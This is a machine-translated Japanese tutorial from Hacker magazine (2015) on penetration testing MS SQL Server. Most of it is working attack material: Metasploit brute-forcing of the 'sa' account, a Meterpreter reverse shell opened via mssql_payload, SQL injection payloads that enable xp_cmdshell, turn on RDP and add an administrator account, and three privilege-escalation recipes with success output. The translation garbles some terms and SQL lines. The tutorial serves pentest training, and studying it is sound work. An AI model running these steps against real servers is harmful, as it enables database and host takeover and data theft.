MS SQLの耐久性を確認します。 MS SQL Serverの攻撃ベクトル

DBMSを確認しないと、深刻なペンテストを行うことはほとんどできません。これは、目的の情報やマシンへの攻撃者にとって最も人気のあるドアの1つだからです。 大規模なプロジェクトでは、MS SQL Serverは多くの場合DBMSとして使用されます。 そして今日は、その安全性の検証についてお話します。 私たちはアメリカを発見しません-経験豊富な仲間は知識を更新するだけですが、トピックをマスターし始めたばかりの人のために、できるだけ詳細にすべてを整理しようとしました。

はじめに

情報システムの信頼性に関する最も重要な基準の1つは、DBMSセキュリティです。 それに向けられた攻撃は、システムのパフォーマンスを部分的または完全に混乱させる可能性があるため、ほとんどの場合に重要です。 大規模な組織はかなり前にインフラストラクチャを形成し、新しいソフトウェアバージョンに更新すると「大きな」問題が発生するため、最も一般的なバージョンはMS SQL Server 2005およびMS SQL Server 2008のままです。すべてのバージョンに共通のベクトルと手法を検討してください。 便宜上、ペンテストプロセス全体を条件付きでいくつかの段階に分割します。

MS SQLを見つける方法

ペンタスターが最初に行うことは、被害者のサーバーにあるサービスに関する情報を収集することです。 Microsoft SQL Serverを検索するために知っておく必要がある最も重要なことは、リッスンするポート番号です。 また、ポート1433（TCP）および1434（UDP）をリッスンします。 被害者のサーバーでMS SQLが使用可能かどうかを確認するには、スキャンする必要があります。 これを行うには、 `ms-sql-info`スクリプトでNmapを使用できます。 スキャンは次のように開始されます。

nmap -p 1433 --script=ms-sql-info 192.168.18.128 

さて、その実装の結果は図に示されています。 1。


図 1.Nmapを使用したMS SQLのスキャン

Nmapに加えて、Metasploitの優れたスキャンモジュール「mssql_ping」があり、攻撃されたサーバー上のMS SQLの存在を判断することもできます。

 msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run 

図 2. mssql_pingを使用したMS SQLのスキャン

これらのオプションのいずれかを使用して、MS SQLがサーバーにインストールされているかどうかをすばやく判断し、そのバージョンを確認することもできます。 その後、次の手順に進むことができます。

ブルートフォース

サーバーでDBMSを見つけたとしましょう。 ここでのタスクは、それにアクセスすることです。 そしてここで、認証という形での最初の障害に遭遇します。 一般に、MS SQLは2種類の認証をサポートしています。

1. Windows認証は、オペレーティングシステムレベルで既に検証されていることを前提として、SQL Serverがユーザーアカウントを受け入れる信頼された接続です。
2. 混合モード-SQL Server + Windows認証を使用した認証。

デフォルトでは、最初の認証モードが使用され、混合モードは個別にアクティブ化されます。 実際には、混合モードなしでベースを満たすことは非常に困難です-より柔軟です。

混合モードのいくつかの利点

• SQL Serverが古いアプリケーションと、SQL Server認証を必要とするサードパーティアプリケーションをサポートできるようにします。
• SQL Serverが、ユーザーがWindowsドメインで認証されない複数のオペレーティングシステムの環境をサポートできるようにします。
• ソフトウェア開発者は、既知の事前定義されたSQL Serverログインに基づいて、洗練されたアクセス許可階層を使用してアプリケーションを配布できます。

通常、この段階では企業ネットワークにアクセスできないため、Windowsを介した認証を使用できません。 しかし、MS SQLで開いているポートが見つかったため、混合モードの標準である「sa」管理者アカウントを削除しようとしています。 プロセスを自動化するには、Metasploitモジュール `mssql_login`を使用します。

 msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: ) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

いいね！ パスワードが見つかりました。次のステップに進みます。 しかし、サーバーに「sa」アカウントが表示されない場合はどうでしょうか？ 次に、ログインをブルートする必要があります。そのため、スクリプトにそれらを取得するファイルをもう1つ示す必要があります。

 msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt 

WWW

さまざまなブルートフォース辞書がここにあります 。

シェルを入手する

「sa」アカウントの削除に成功した場合は、データベースにログインできます。 次に、シナリオは簡単です。オペレーティングシステムレベルでコマンドを実行し、Meterpreterシェルサーバーにアップロードできるようにするストアドプロシージャを含めます。 クールな連中はMetasploit用の素晴らしいモジュール `mssql_payload`を書いて、このプロセスを自動化しました：

 msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter > 

Meterpreterセッションが作成されました。これで、フルアクセスが可能になりました。 管理ハッシュをダンプしたり、スクリーンショットを撮ったり、ファイルを作成/削除したり、マウスやキーボードをオン/オフしたりできます。 おそらく、これは侵入テストで使用される最も人気のあるシェルです。 Meterpreterのコマンドの完全なリストは、 ここにあります 。

ユーザー名/パスワードが失われていない場合はどうすればよいですか？

しかし、自分をflatめないでください。`mssql_login`モジュールがあなたを喜ばせることはあまりありません：管理者がデフォルトのパスワードを残すことはほとんどありません。 この場合、SQLインジェクションはシェルを取得するのに役立ちます。 ユーザーが記事番号と単純な脆弱なデータベースへのクエリを入力するHTMLフォームを想像してください。これらはすべて「sa」管理者アカウントで機能します。

 $strSQL = “SELECT * FROM [dbo].[articles] WHERE id=$id”; 

変数「$ id」はどのような方法でもフィルタリングされません。つまり、「sa」の管理者アカウントでクエリを実行するSQLインジェクションを実行できます。 オペレーティングシステムレベルでコマンドを実行するには、デフォルトでオフになっているストアドプロシージャ `xp_cmdshell`を有効にする必要があります。 有効にするには、4つのリクエストを送信する必要があります。

1. `10; EXEC sp_configure 'show advanced options'、1; `
2. `10; 再構成; `
3. `10; 'exec sp_configure' xp_cmdshell '、1; `
4. `10; 再構成する `

sp_configureシステムストアドプロシージャを使用すると、サーバー構成を表示、文書化、変更、および復元できます。 サーバーにアクセスする最も簡単な方法は、レジストリを介してRDPを有効にし、管理者権限を持つユーザーを作成して接続することです。

RDPをオンにします。

 10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

ユーザーを作成します。

 10; exec master.dbo.xp_cmdshell 'net user root toor /ADD' 

私たちは権利を与えます：

 10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add' 

特権の昇格。 信頼できる

前のケースでは、データベースへの要求は管理者の名前から来ていたため、オペレーティングシステムのコマンドを実行するのは非常に簡単でした。 しかし、 `xp_cmdshell`を有効にする権限を持たない削除されたアカウントがある場合はどうでしょうか。 この場合、ストアドプロシージャとデータベースのアクティブ化された「TRUSTWORTHY」プロパティが役立ちます。

しかし、最初から始めましょう。 このベクトルをより明確にするために、データベースとアカウントの構成段階であっても、段階全体を説明します。 新しいベース `YOLO`を作成します：` CREATE DATABASE YOLO; `。 パスワード `marley`で新しいユーザー` bob`を作成します： `CREATE LOGIN bob WITH PASSWORD = 'marley';`ユーザー `bob`をベースの所有者として割り当てますYOLO`：

 USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob]; 

次に、このデータベースのオブジェクト（ビュー、ユーザー定義関数、ストアドプロシージャ）が偽装モードでこのデータベース外のオブジェクトにアクセスできるようにするかどうかを決定する「TRUSTWORTHY」プロパティを設定します：「ALTER DATABASE YOLO SET TRUSTWORTHY ON」。 `bob：marley`アカウントでSQL Serverにログインします。
sysadmin特権をbobアカウントに割り当てるためのストアドプロシージャを作成します。

 USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO 

ストアドプロシージャを実行する前に、sysadmin特権がないことを確認してください。

 SELECT is_srvrolemember('sysadmin')  = 0 

上記で作成したストアドプロシージャ `sp_lvlup`を実行します。

 USE YOLO EXEC sp_lvlup 

そして再び、特権を確認します。

 SELECT is_srvrolemember('sysadmin')  = 1 

プロシージャ `sp_lvlup`は、` OWNER`の代わりに実行するために作成されました。この場合は、管理者アカウント `sa`です。 これは、 `db_owner`がデータベース用のストアドプロシージャを作成し、このデータベースが信頼できる、つまりプロパティ` TRUSTWORTHY = On`として設定されているために可能です。 このプロパティがないと、特権が不足しているため、手順を完了できませんでした。 アクティブ化されたTRUSTWORTHYプロパティは、常に悪いわけではありません。 問題は、管理者がデータベース所有者の特権を下げないときに始まります。 その結果、sp_lvlupプロシージャの実行後、bobアカウントにはsysadmin特権が割り当てられます。 「TRUSTWORTHY」プロパティがアクティブになっているデータベースを確認するには、次のクエリを使用できます。

 SELECT name, database_id, is_trustworthy_on FROM sys.databases 

または、プロセス全体を自動化するには、Metasploitのモジュール「mssql_escalate_dbowner_sqli」を使用できます。

 use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin! 

特権の昇格。 ユーザーのなりすまし

次のベクトルは、ユーザー偽装と呼ばれます。 ストアドプロシージャでは、アプリケーションデータベースの外部にある外部リソースへのアクセスが必要になる場合があります。 これを実装するために、開発者は「IMPERSONATE」権限と「EXECUTE AS」機能を使用して、別のアカウントに代わってクエリを実行できるようにします。 これ自体は脆弱性ではなく、脆弱な構成であり、特権のエスカレーションにつながります。

前の例のように、構成段階でベクトルの本質を分析し始めます。 最初に、4つのアカウントを作成します。

 CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret'; 

次に、ユーザーに「sa」、「User2」、「User3」に代わってリクエストを実行する「User1」権限を付与します。

 USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO 

`User1`アカウントでSQL Serverにログインし、他のアカウントからクエリを実行する特権が適用されているかどうかを確認します。

 SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' 

次に、現在の特権を確認します。

 SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 0 

さて、トリック自体は「sa」に代わってリクエストを実行することです。これは、アカウント「User1」に「sa」に代わってリクエストを実行する権限を与えたためです。

 EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 1 

すべてが整いました。今では、 `sa`の代わりにコマンドを実行できます。つまり、ストアドプロシージャ` xp_cmdshell`を有効にできます。

 EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO 

情報

デフォルトのsysadminアカウントは、他のユーザーに代わってリクエストを実行できます。 クエリは、すべてのユーザーのテーブルを表示するのに役立ちます： `SELECT * FROM master.sys.sysusers WHERE islogin = 1`。 別のアカウントに代わってリクエストを実行するには、「EXECUTE AS LOGIN = 'AnyUser'」を使用します。 前のアカウントに再び戻るには、REVERTリクエストを実行するだけです。

それが全体のトリックです。 自動化のために、いつものように、Metasploitモジュール `mssql_escalate_executeas_sqli`を使用できます：

 use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin! 

特権の昇格。 証明書署名付きストアドプロシージャ

このベクトルを記述するために、証明書によって署名された脆弱なストアドプロシージャを作成します。 前の例とは異なり、エスカレーションには特権は必要ありません。

• プロパティ `TRUSTWORTHY = On`;
• 「IMPERSONATE」権限と「EXECUTE AS」機能。
• 別のアカウントに代わって実行するための `WITH EXECUTE AS`クラスを持つストアドプロシージャの構成。

最小限の権限でアカウントを作成します。

 CREATE LOGIN tor WITH PASSWORD = 'loki'; GO -- Set login's default database ALTER LOGIN [tor] with default_database = [master]; GO 

`TRUSTWORTHY`プロパティをオフにします：` ALTER DATABASE master SET TRUSTWORTHY OFF`。 そして、単純なストアドプロシージャ「sp_xxx」を作成します。このプロシージャは、データベース「tempdb」とユーザーが入力したデータベースから列「name」を出力します。

 USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO 

その後、「MASTER」ベースの暗号化キーを作成します。

 CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO 

そして証明書：

 CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035-01-01'; GO 

次のステップは、証明書 `sp_xxx`からユーザー名を作成することです：

 CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert 

そして、作成した証明書を使用して手順に署名します。

 ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO 

`sysadmin`特権をログイン` sp_lvlup2`に割り当てます：

 EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin' GO 

PUBLICグループのメンバーに手順を実行する権限を付与します。

 GRANT EXECUTE ON sp_xxx to PUBLIC 

その結果、最小限の権限を持つユーザー「tor」、入力されたデータベースの名前を表示するストアドプロシージャ「sp_xxx」を作成し、証明書「sp_xxx_cert」を作成してストアドプロシージャで署名し、証明書からログイン「sp_xxx_login」を作成し、「sysadmin」の権限を付与しました`。 これで準備部分は終わりました。 `tor`アカウントでログインし、ストアドプロシージャを呼び出します。

 EXEC MASTER.dbo.sp_xxx 'master' 

予想どおり、指定したデータベースの名前-「master」と「tempdb」を返します（図3を参照）。


図 3.クエリEXEC MASTER.dbo.sp_xxx 'master'を実行した結果

「EXEC MASTER.dbo.sp_sqli2 'master' '-' '' master 'のみを返す」という形式のクエリ（図4を参照）。


図4 クエリEXEC MASTER.dbo.xxx 'master' '-'を実行した結果

素晴らしい。 これは、ストアドプロシージャがSQLインジェクションの対象であることを意味します。 次のクエリで特権を確認します。

 EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--'; 

図 5.脆弱なストアドプロシージャを使用して権限を確認する

`priv_cersp = 1`（図5を参照）は、sysadmin特権があることを意味します。 コマンド `EXEC master..xp_cmdshell 'whoami';`を実行すると、 `tor`アカウントには最小限の権限しかありませんが、このクエリがSQLインジェクションに埋め込まれている場合、すべてが機能します（図6）。


図6 システムでの特権の確認

最も興味深いことに、このようなトリックはバージョン2005-2014で機能します。

おわりに

これらすべてのベクトルの違いは非常に重要です。 場合によっては、目標を達成するために、 `TRUSTWORTHY`プロパティの包含を制限することができます。これにより、このデータベースのリソースを外部にあるオブジェクトに使用して、権限を増やすストアドプロシージャを作成および実行できます。 「IMPERSONATE」権限と「EXECUTE AS」機能が存在するため、他のアカウントに代わってストアドプロシージャを実行できる場所であり、3番目のケースでは、クエリを注入できるSQLインジェクションがあることが重要であり、別のアカウントに代わって実行されますレコード。 ニュアンスと微妙さを完全に理解するには、ローカルマシンでこれらのベクトルを確認することをお勧めします。

この記事では、MS SQL DBMSのすべての攻撃ベクトルを網羅的に説明しているわけではありませんが、セキュリティの表面分析には非常に役立ちます。 また、12月号のAlexey Tyurinによる[Easy Hack]セクションの[（＃191）で説明されている、DBリンクを介した別のハッキングベクターに慣れることをお勧めします。 それだけです。ご注意いただきありがとうございます。



2015年4月から最初にHacker誌に掲載されました。
投稿者Nikita "ir0n" Kelesis、デジタルセキュリティ（ @nkelesis 、nikita.elkey @ gmail.com）

ハッカーを購読する

• サイト資料
• 紙版
• iOS / iPadのハッカー
• Androidのハッカー